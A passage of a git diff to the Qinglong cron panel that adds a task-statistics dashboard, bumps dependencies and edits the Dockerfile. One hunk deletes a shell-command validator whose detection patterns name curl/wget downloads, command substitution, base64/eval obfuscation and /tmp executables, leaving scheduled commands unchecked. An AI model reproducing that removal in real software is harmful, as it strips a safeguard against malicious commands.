},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public async trend() {
|
||||||
|
const days = 7;
|
||||||
|
const result: Array<{ date: string; count: number }> = [];
|
||||||
|
|
||||||
|
for (let i = days - 1; i >= 0; i--) {
|
||||||
|
const dayStart = dayjs().subtract(i, 'day').startOf('day').unix();
|
||||||
|
const dayEnd = dayjs().subtract(i, 'day').endOf('day').unix();
|
||||||
|
const date = dayjs().subtract(i, 'day').format('MM-DD');
|
||||||
|
|
||||||
|
const logs = await CronLogModel.findAll({
|
||||||
|
where: { start_time: { [Op.between]: [dayStart, dayEnd] } },
|
||||||
|
});
|
||||||
|
|
||||||
|
result.push({ date, count: logs.length });
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public async topDuration(limit = 5) {
|
||||||
|
const { start, end } = this.getTodayRange();
|
||||||
|
|
||||||
|
const logs = await CronLogModel.findAll({
|
||||||
|
where: { start_time: { [Op.between]: [start, end] } },
|
||||||
|
});
|
||||||
|
|
||||||
|
const grouped = this.groupLogsByCronId(logs as any);
|
||||||
|
|
||||||
|
return Object.values(grouped)
|
||||||
|
.map((g) => ({
|
||||||
|
cron_id: g.cron_id,
|
||||||
|
cron_name: g.cron_name,
|
||||||
|
count: g.durations.length,
|
||||||
|
avgDuration: this.avgOf(g.durations),
|
||||||
|
maxDuration: Math.max(...g.durations),
|
||||||
|
}))
|
||||||
|
.sort((a, b) => b.avgDuration - a.avgDuration)
|
||||||
|
.slice(0, limit);
|
||||||
|
}
|
||||||
|
|
||||||
|
public async topCount(limit = 5) {
|
||||||
|
const { start, end } = this.getTodayRange();
|
||||||
|
|
||||||
|
const logs = await CronLogModel.findAll({
|
||||||
|
where: { start_time: { [Op.between]: [start, end] } },
|
||||||
|
});
|
||||||
|
|
||||||
|
const grouped = this.groupLogsByCronId(logs as any);
|
||||||
|
|
||||||
|
return Object.values(grouped)
|
||||||
|
.map((g) => ({
|
||||||
|
cron_id: g.cron_id,
|
||||||
|
cron_name: g.cron_name,
|
||||||
|
count: g.durations.length,
|
||||||
|
avgDuration: this.avgOf(g.durations),
|
||||||
|
}))
|
||||||
|
.sort((a, b) => b.count - a.count)
|
||||||
|
.slice(0, limit);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
|
|||||||
import path from 'path';
|
import path from 'path';
|
||||||
import config from '../config';
|
import config from '../config';
|
||||||
|
|
||||||
/**
|
|
||||||
* Security validation function to detect potentially malicious shell code patterns
|
|
||||||
*/
|
|
||||||
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
|
|
||||||
if (!value) return value;
|
|
||||||
|
|
||||||
// Define dangerous patterns that should be blocked
|
|
||||||
const dangerousPatterns = [
|
|
||||||
// Command substitution
|
|
||||||
/\$\([^)]*\)/,
|
|
||||||
/`[^`]*`/,
|
|
||||||
|
|
||||||
// File downloads
|
|
||||||
/\b(curl|wget|fetch)\s+/i,
|
|
||||||
|
|
||||||
// Suspicious domains or external URLs
|
|
||||||
/https?:\/\/[^\s]+/i,
|
|
||||||
|
|
||||||
// Hidden executable files (files starting with . in a path context)
|
|
||||||
/\/\.\w+(\s|$|;|&|\||>)/,
|
|
||||||
|
|
||||||
// Background process spawning with suspicious names
|
|
||||||
/nohup\s+["']?[^\s"']*\/\.\w+/,
|
|
||||||
|
|
||||||
// Redirect to dev null combined with downloads (hiding malware output)
|
|
||||||
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
|
|
||||||
|
|
||||||
// Base64 decode patterns (often used to obfuscate malicious code)
|
|
||||||
/\b(base64|decode|eval)\s+/i,
|
|
||||||
|
|
||||||
// Executable files in /tmp with chmod or execution
|
|
||||||
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const pattern of dangerousPatterns) {
|
|
||||||
if (pattern.test(value)) {
|
|
||||||
return helpers.error('string.unsafe', {
|
|
||||||
pattern: pattern.source,
|
|
||||||
field: fieldName
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check for excessive length (potential buffer overflow or obfuscation)
|
|
||||||
if (value.length > 10000) {
|
|
||||||
return helpers.error('string.max', { limit: 10000 });
|
|
||||||
}
|
|
||||||
|
|
||||||
return value;
|
|
||||||
};
|
|
||||||
|
|
||||||
const validateSchedule = (value: string, helpers: any) => {
|
const validateSchedule = (value: string, helpers: any) => {
|
||||||
if (
|
if (
|
||||||
value.startsWith(ScheduleType.ONCE) ||
|
value.startsWith(ScheduleType.ONCE) ||
|
||||||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
|
|||||||
|
|
||||||
export const commonCronSchema = {
|
export const commonCronSchema = {
|
||||||
name: Joi.string().optional(),
|
name: Joi.string().optional(),
|
||||||
command: Joi.string().required().custom((value: any, helpers: any) => {
|
command: Joi.string().required(),
|
||||||
return validateShellSecurity(value, helpers, 'command');
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
schedule: scheduleSchema,
|
schedule: scheduleSchema,
|
||||||
labels: Joi.array().optional(),
|
labels: Joi.array().optional(),
|
||||||
sub_id: Joi.number().optional().allow(null),
|
sub_id: Joi.number().optional().allow(null),
|
||||||
extra_schedules: Joi.array().optional().allow(null),
|
extra_schedules: Joi.array().optional().allow(null),
|
||||||
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
task_before: Joi.string().optional().allow('').allow(null),
|
||||||
return validateShellSecurity(value, helpers, 'task_before');
|
task_after: Joi.string().optional().allow('').allow(null),
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
|
||||||
return validateShellSecurity(value, helpers, 'task_after');
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
log_name: Joi.string()
|
log_name: Joi.string()
|
||||||
.optional()
|
.optional()
|
||||||
.allow('')
|
.allow('')
|
||||||
|
|||||||
@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
|||||||
|
|
||||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
|
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
|
||||||
|
HOME=/root
|
||||||
|
|
||||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
|
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
|
||||||
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
||||||
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
||||||
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
||||||
@@ -83,6 +84,6 @@ COPY --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
|||||||
WORKDIR ${QL_DIR}
|
WORKDIR ${QL_DIR}
|
||||||
|
|
||||||
HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
||||||
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
CMD curl -sf --noproxy '*' http://127.0.0.1:${QlPort:-5700}/api/health || exit 1
|
||||||
|
|
||||||
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
||||||
|
|||||||
+4
-3
@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
|||||||
|
|
||||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||||
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
|
PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
|
||||||
|
HOME=/root
|
||||||
|
|
||||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
|
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
|
||||||
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
|
||||||
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
PIP_CACHE_DIR=${PYTHON_HOME}/pip \
|
||||||
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
||||||
@@ -83,6 +84,6 @@ COPY --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
|||||||
WORKDIR ${QL_DIR}
|
WORKDIR ${QL_DIR}
|
||||||
|
|
||||||
HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
||||||
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
CMD curl -sf --noproxy '*' http://127.0.0.1:${QlPort:-5700}/api/health || exit 1
|
||||||
|
|
||||||
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
export PATH="$HOME/bin:$PATH"
|
|
||||||
|
|
||||||
dir_shell=/ql/shell
|
dir_shell=/ql/shell
|
||||||
. $dir_shell/share.sh
|
. $dir_shell/share.sh
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -77,9 +77,9 @@
|
|||||||
"js-yaml": "^4.1.0",
|
"js-yaml": "^4.1.0",
|
||||||
"jsonwebtoken": "^9.0.2",
|
"jsonwebtoken": "^9.0.2",
|
||||||
"lodash": "^4.17.21",
|
"lodash": "^4.17.21",
|
||||||
"multer": "1.4.5-lts.1",
|
"multer": "2.1.1",
|
||||||
"node-schedule": "^2.1.0",
|
"node-schedule": "^2.1.0",
|
||||||
"nodemailer": "^6.9.16",
|
"nodemailer": "^8.0.1",
|
||||||
"p-queue-cjs": "7.3.4",
|
"p-queue-cjs": "7.3.4",
|
||||||
"@bufbuild/protobuf": "^2.10.0",
|
"@bufbuild/protobuf": "^2.10.0",
|
||||||
"ps-tree": "^1.2.0",
|
"ps-tree": "^1.2.0",
|
||||||
|
|||||||
Generated
+568
-259
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
|||||||
import intl from 'react-intl-universal';
|
import intl from 'react-intl-universal';
|
||||||
import { SettingOutlined } from '@ant-design/icons';
|
import { BarChartOutlined, SettingOutlined } from '@ant-design/icons';
|
||||||
import IconFont from '@/components/iconfont';
|
import IconFont from '@/components/iconfont';
|
||||||
import { BasicLayoutProps } from '@ant-design/pro-layout';
|
import { BasicLayoutProps } from '@ant-design/pro-layout';
|
||||||
|
|
||||||
@@ -30,6 +30,12 @@ export default {
|
|||||||
icon: <IconFont type="ql-icon-crontab" />,
|
icon: <IconFont type="ql-icon-crontab" />,
|
||||||
component: '@/pages/crontab/index',
|
component: '@/pages/crontab/index',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
path: '/statistics',
|
||||||
|
name: intl.get('统计面板'),
|
||||||
|
icon: <BarChartOutlined />,
|
||||||
|
component: '@/pages/statistics/index',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
path: '/subscription',
|
path: '/subscription',
|
||||||
name: intl.get('订阅管理'),
|
name: intl.get('订阅管理'),
|
||||||
|
|||||||
@@ -18,6 +18,25 @@
|
|||||||
"青龙": "Qinglong",
|
"青龙": "Qinglong",
|
||||||
"返回首页": "Return to Home",
|
"返回首页": "Return to Home",
|
||||||
"保存": "Save",
|
"保存": "Save",
|
||||||
|
"统计面板": "Statistics",
|
||||||
|
"总体概览": "Overview",
|
||||||
|
"总任务数量": "Total Tasks",
|
||||||
|
"启用任务数": "Enabled Tasks",
|
||||||
|
"禁用任务数": "Disabled Tasks",
|
||||||
|
"今日总执行次数": "Today's Executions",
|
||||||
|
"今日平均耗时(秒)": "Today's Avg Duration (s)",
|
||||||
|
"近7日执行趋势": "7-Day Execution Trend",
|
||||||
|
"今日平均耗时 Top 5": "Top 5 Slowest Today",
|
||||||
|
"今日执行次数 Top 5": "Top 5 Most Frequent Today",
|
||||||
|
"排名": "Rank",
|
||||||
|
"任务名称": "Task Name",
|
||||||
|
"平均耗时(秒)": "Avg Duration (s)",
|
||||||
|
"最长单次(秒)": "Max Duration (s)",
|
||||||
|
"今日执行次数": "Today's Count",
|
||||||
|
"今日暂无执行记录": "No execution records today",
|
||||||
|
"暂无数据": "No data",
|
||||||
|
"次": "times",
|
||||||
|
"刷新": "Refresh",
|
||||||
"日志": "Log",
|
"日志": "Log",
|
||||||
"脚本": "Script",
|
"脚本": "Script",
|
||||||
"确认保存文件": "Confirm to Save File",
|
"确认保存文件": "Confirm to Save File",
|
||||||
|
|||||||
@@ -18,6 +18,25 @@
|
|||||||
"青龙": "青龙",
|
"青龙": "青龙",
|
||||||
"返回首页": "返回首页",
|
"返回首页": "返回首页",
|
||||||
"保存": "保存",
|
"保存": "保存",
|
||||||
|
"统计面板": "统计面板",
|
||||||
|
"总体概览": "总体概览",
|
||||||
|
"总任务数量": "总任务数量",
|
||||||
|
"启用任务数": "启用任务数",
|
||||||
|
"禁用任务数": "禁用任务数",
|
||||||
|
"今日总执行次数": "今日总执行次数",
|
||||||
|
"今日平均耗时(秒)": "今日平均耗时(秒)",
|
||||||
|
"近7日执行趋势": "近7日执行趋势",
|
||||||
|
"今日平均耗时 Top 5": "今日平均耗时 Top 5",
|
||||||
|
"今日执行次数 Top 5": "今日执行次数 Top 5",
|
||||||
|
"排名": "排名",
|
||||||
|
"任务名称": "任务名称",
|
||||||
|
"平均耗时(秒)": "平均耗时(秒)",
|
||||||
|
"最长单次(秒)": "最长单次(秒)",
|
||||||
|
"今日执行次数": "今日执行次数",
|
||||||
|
"今日暂无执行记录": "今日暂无执行记录",
|
||||||
|
"暂无数据": "暂无数据",
|
||||||
|
"次": "次",
|
||||||
|
"刷新": "刷新",
|
||||||
"日志": "日志",
|
"日志": "日志",
|
||||||
"脚本": "脚本",
|
"脚本": "脚本",
|
||||||
"确认保存文件": "确认保存文件",
|
"确认保存文件": "确认保存文件",
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
.stats-section {
|
||||||
|
margin-bottom: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.trend-chart-wrapper {
|
||||||
|
width: 100%;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.trend-chart-empty {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
height: 200px;
|
||||||
|
color: #999;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
@@ -0,0 +1,402 @@
|
|||||||
|
import { SharedContext } from '@/layouts';
|
||||||
|
import config from '@/utils/config';
|
||||||
|
import { request } from '@/utils/http';
|
||||||
|
import { BarChartOutlined, ReloadOutlined } from '@ant-design/icons';
|
||||||
|
import { PageContainer } from '@ant-design/pro-layout';
|
||||||
|
import { useOutletContext } from '@umijs/max';
|
||||||
|
import {
|
||||||
|
Button,
|
||||||
|
Card,
|
||||||
|
Col,
|
||||||
|
Row,
|
||||||
|
Statistic,
|
||||||
|
Table,
|
||||||
|
Tooltip,
|
||||||
|
Typography,
|
||||||
|
} from 'antd';
|
||||||
|
import { ColumnProps } from 'antd/lib/table';
|
||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import intl from 'react-intl-universal';
|
||||||
|
import './index.less';
|
||||||
|
|
||||||
|
const { Title } = Typography;
|
||||||
|
|
||||||
|
interface StatsData {
|
||||||
|
total: number;
|
||||||
|
enabled: number;
|
||||||
|
disabled: number;
|
||||||
|
today: {
|
||||||
|
count: number;
|
||||||
|
avgDuration: number;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
interface TrendItem {
|
||||||
|
date: string;
|
||||||
|
count: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface TopDurationItem {
|
||||||
|
cron_id: number;
|
||||||
|
cron_name: string;
|
||||||
|
count: number;
|
||||||
|
avgDuration: number;
|
||||||
|
maxDuration: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface TopCountItem {
|
||||||
|
cron_id: number;
|
||||||
|
cron_name: string;
|
||||||
|
count: number;
|
||||||
|
avgDuration: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
const TrendChart = ({ data }: { data: TrendItem[] }) => {
|
||||||
|
if (!data || data.length === 0) {
|
||||||
|
return (
|
||||||
|
<div className="trend-chart-empty">
|
||||||
|
{intl.get('暂无数据')}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const width = 600;
|
||||||
|
const height = 200;
|
||||||
|
const paddingLeft = 40;
|
||||||
|
const paddingRight = 20;
|
||||||
|
const paddingTop = 20;
|
||||||
|
const paddingBottom = 40;
|
||||||
|
|
||||||
|
const chartWidth = width - paddingLeft - paddingRight;
|
||||||
|
const chartHeight = height - paddingTop - paddingBottom;
|
||||||
|
|
||||||
|
const maxCount = Math.max(...data.map((d) => d.count), 1);
|
||||||
|
|
||||||
|
const points = data.map((d, i) => ({
|
||||||
|
x: paddingLeft + (i / Math.max(data.length - 1, 1)) * chartWidth,
|
||||||
|
y: paddingTop + chartHeight - (d.count / maxCount) * chartHeight,
|
||||||
|
...d,
|
||||||
|
}));
|
||||||
|
|
||||||
|
const pathD = points
|
||||||
|
.map((p, i) => `${i === 0 ? 'M' : 'L'} ${p.x.toFixed(1)} ${p.y.toFixed(1)}`)
|
||||||
|
.join(' ');
|
||||||
|
|
||||||
|
const areaD =
|
||||||
|
pathD +
|
||||||
|
` L ${points[points.length - 1].x.toFixed(1)} ${(paddingTop + chartHeight).toFixed(1)}` +
|
||||||
|
` L ${points[0].x.toFixed(1)} ${(paddingTop + chartHeight).toFixed(1)} Z`;
|
||||||
|
|
||||||
|
const yTicks = [0, Math.ceil(maxCount / 2), maxCount];
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="trend-chart-wrapper">
|
||||||
|
<svg
|
||||||
|
viewBox={`0 0 ${width} ${height}`}
|
||||||
|
preserveAspectRatio="xMidYMid meet"
|
||||||
|
style={{ width: '100%', height: 200 }}
|
||||||
|
>
|
||||||
|
{/* Grid lines */}
|
||||||
|
{yTicks.map((tick) => {
|
||||||
|
const y =
|
||||||
|
paddingTop + chartHeight - (tick / maxCount) * chartHeight;
|
||||||
|
return (
|
||||||
|
<g key={tick}>
|
||||||
|
<line
|
||||||
|
x1={paddingLeft}
|
||||||
|
y1={y}
|
||||||
|
x2={paddingLeft + chartWidth}
|
||||||
|
y2={y}
|
||||||
|
stroke="#f0f0f0"
|
||||||
|
strokeWidth={1}
|
||||||
|
/>
|
||||||
|
<text
|
||||||
|
x={paddingLeft - 6}
|
||||||
|
y={y + 4}
|
||||||
|
textAnchor="end"
|
||||||
|
fontSize={10}
|
||||||
|
fill="#999"
|
||||||
|
>
|
||||||
|
{tick}
|
||||||
|
</text>
|
||||||
|
</g>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
|
||||||
|
{/* Area fill */}
|
||||||
|
<path d={areaD} fill="rgba(24, 144, 255, 0.1)" />
|
||||||
|
|
||||||
|
{/* Line */}
|
||||||
|
<path
|
||||||
|
d={pathD}
|
||||||
|
fill="none"
|
||||||
|
stroke="#1890ff"
|
||||||
|
strokeWidth={2}
|
||||||
|
strokeLinejoin="round"
|
||||||
|
strokeLinecap="round"
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Points */}
|
||||||
|
{points.map((p, i) => (
|
||||||
|
<Tooltip
|
||||||
|
key={i}
|
||||||
|
title={`${p.date}: ${p.count} ${intl.get('次')}`}
|
||||||
|
>
|
||||||
|
<circle
|
||||||
|
cx={p.x}
|
||||||
|
cy={p.y}
|
||||||
|
r={4}
|
||||||
|
fill="#1890ff"
|
||||||
|
stroke="#fff"
|
||||||
|
strokeWidth={2}
|
||||||
|
style={{ cursor: 'pointer' }}
|
||||||
|
/>
|
||||||
|
</Tooltip>
|
||||||
|
))}
|
||||||
|
|
||||||
|
{/* X axis labels */}
|
||||||
|
{points.map((p, i) => (
|
||||||
|
<text
|
||||||
|
key={i}
|
||||||
|
x={p.x}
|
||||||
|
y={height - 8}
|
||||||
|
textAnchor="middle"
|
||||||
|
fontSize={10}
|
||||||
|
fill="#999"
|
||||||
|
>
|
||||||
|
{p.date}
|
||||||
|
</text>
|
||||||
|
))}
|
||||||
|
|
||||||
|
{/* Axes */}
|
||||||
|
<line
|
||||||
|
x1={paddingLeft}
|
||||||
|
y1={paddingTop}
|
||||||
|
x2={paddingLeft}
|
||||||
|
y2={paddingTop + chartHeight}
|
||||||
|
stroke="#e8e8e8"
|
||||||
|
strokeWidth={1}
|
||||||
|
/>
|
||||||
|
<line
|
||||||
|
x1={paddingLeft}
|
||||||
|
y1={paddingTop + chartHeight}
|
||||||
|
x2={paddingLeft + chartWidth}
|
||||||
|
y2={paddingTop + chartHeight}
|
||||||
|
stroke="#e8e8e8"
|
||||||
|
strokeWidth={1}
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const Statistics = () => {
|
||||||
|
const { headerStyle, isPhone } = useOutletContext<SharedContext>();
|
||||||
|
const [stats, setStats] = useState<StatsData | null>(null);
|
||||||
|
const [trend, setTrend] = useState<TrendItem[]>([]);
|
||||||
|
const [topDuration, setTopDuration] = useState<TopDurationItem[]>([]);
|
||||||
|
const [topCount, setTopCount] = useState<TopCountItem[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
|
||||||
|
const loadAll = async () => {
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
const [
|
||||||
|
statsRes,
|
||||||
|
trendRes,
|
||||||
|
topDurationRes,
|
||||||
|
topCountRes,
|
||||||
|
] = await Promise.all([
|
||||||
|
request.get(`${config.apiPrefix}crons/stats`),
|
||||||
|
request.get(`${config.apiPrefix}crons/stats/trend`),
|
||||||
|
request.get(`${config.apiPrefix}crons/stats/top-duration`),
|
||||||
|
request.get(`${config.apiPrefix}crons/stats/top-count`),
|
||||||
|
]);
|
||||||
|
if (statsRes.code === 200) setStats(statsRes.data);
|
||||||
|
if (trendRes.code === 200) setTrend(trendRes.data);
|
||||||
|
if (topDurationRes.code === 200) setTopDuration(topDurationRes.data);
|
||||||
|
if (topCountRes.code === 200) setTopCount(topCountRes.data);
|
||||||
|
} catch (e) {
|
||||||
|
console.error(e);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadAll();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const topDurationColumns: ColumnProps<TopDurationItem>[] = [
|
||||||
|
{
|
||||||
|
title: intl.get('排名'),
|
||||||
|
key: 'rank',
|
||||||
|
width: 60,
|
||||||
|
render: (_: any, __: any, index: number) => index + 1,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('任务名称'),
|
||||||
|
dataIndex: 'cron_name',
|
||||||
|
key: 'cron_name',
|
||||||
|
ellipsis: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('平均耗时(秒)'),
|
||||||
|
dataIndex: 'avgDuration',
|
||||||
|
key: 'avgDuration',
|
||||||
|
width: 120,
|
||||||
|
render: (v: number) => `${v}s`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('最长单次(秒)'),
|
||||||
|
dataIndex: 'maxDuration',
|
||||||
|
key: 'maxDuration',
|
||||||
|
width: 120,
|
||||||
|
render: (v: number) => `${v}s`,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const topCountColumns: ColumnProps<TopCountItem>[] = [
|
||||||
|
{
|
||||||
|
title: intl.get('排名'),
|
||||||
|
key: 'rank',
|
||||||
|
width: 60,
|
||||||
|
render: (_: any, __: any, index: number) => index + 1,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('任务名称'),
|
||||||
|
dataIndex: 'cron_name',
|
||||||
|
key: 'cron_name',
|
||||||
|
ellipsis: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('今日执行次数'),
|
||||||
|
dataIndex: 'count',
|
||||||
|
key: 'count',
|
||||||
|
width: 120,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: intl.get('平均耗时(秒)'),
|
||||||
|
dataIndex: 'avgDuration',
|
||||||
|
key: 'avgDuration',
|
||||||
|
width: 120,
|
||||||
|
render: (v: number) => `${v}s`,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
return (
|
||||||
|
<PageContainer
|
||||||
|
header={{
|
||||||
|
style: headerStyle,
|
||||||
|
}}
|
||||||
|
title={
|
||||||
|
<span>
|
||||||
|
<BarChartOutlined style={{ marginRight: 8 }} />
|
||||||
|
{intl.get('统计面板')}
|
||||||
|
</span>
|
||||||
|
}
|
||||||
|
extra={[
|
||||||
|
<Button
|
||||||
|
key="refresh"
|
||||||
|
icon={<ReloadOutlined />}
|
||||||
|
loading={loading}
|
||||||
|
onClick={loadAll}
|
||||||
|
>
|
||||||
|
{intl.get('刷新')}
|
||||||
|
</Button>,
|
||||||
|
]}
|
||||||
|
>
|
||||||
|
{/* Section 1: Overview Cards */}
|
||||||
|
<Card
|
||||||
|
className="stats-section"
|
||||||
|
title={intl.get('总体概览')}
|
||||||
|
loading={loading}
|
||||||
|
>
|
||||||
|
<Row gutter={[16, 16]}>
|
||||||
|
<Col xs={12} sm={8} md={6} lg={4}>
|
||||||
|
<Statistic
|
||||||
|
title={intl.get('总任务数量')}
|
||||||
|
value={stats?.total ?? '-'}
|
||||||
|
/>
|
||||||
|
</Col>
|
||||||
|
<Col xs={12} sm={8} md={6} lg={4}>
|
||||||
|
<Statistic
|
||||||
|
title={intl.get('启用任务数')}
|
||||||
|
value={stats?.enabled ?? '-'}
|
||||||
|
valueStyle={{ color: '#52c41a' }}
|
||||||
|
/>
|
||||||
|
</Col>
|
||||||
|
<Col xs={12} sm={8} md={6} lg={4}>
|
||||||
|
<Statistic
|
||||||
|
title={intl.get('禁用任务数')}
|
||||||
|
value={stats?.disabled ?? '-'}
|
||||||
|
valueStyle={{ color: '#d9d9d9' }}
|
||||||
|
/>
|
||||||
|
</Col>
|
||||||
|
<Col xs={12} sm={8} md={6} lg={4}>
|
||||||
|
<Statistic
|
||||||
|
title={intl.get('今日总执行次数')}
|
||||||
|
value={stats?.today?.count ?? '-'}
|
||||||
|
valueStyle={{ color: '#1890ff' }}
|
||||||
|
/>
|
||||||
|
</Col>
|
||||||
|
<Col xs={12} sm={8} md={6} lg={4}>
|
||||||
|
<Statistic
|
||||||
|
title={intl.get('今日平均耗时(秒)')}
|
||||||
|
value={stats?.today?.avgDuration ?? '-'}
|
||||||
|
suffix="s"
|
||||||
|
valueStyle={{ color: '#faad14' }}
|
||||||
|
/>
|
||||||
|
</Col>
|
||||||
|
</Row>
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
{/* Section 2: 7-day Trend */}
|
||||||
|
<Card
|
||||||
|
className="stats-section"
|
||||||
|
title={intl.get('近7日执行趋势')}
|
||||||
|
loading={loading}
|
||||||
|
>
|
||||||
|
<TrendChart data={trend} />
|
||||||
|
</Card>
|
||||||
|
|
||||||
|
{/* Section 3 & 4: Top Tables */}
|
||||||
|
<Row gutter={[16, 16]}>
|
||||||
|
<Col xs={24} lg={12}>
|
||||||
|
<Card
|
||||||
|
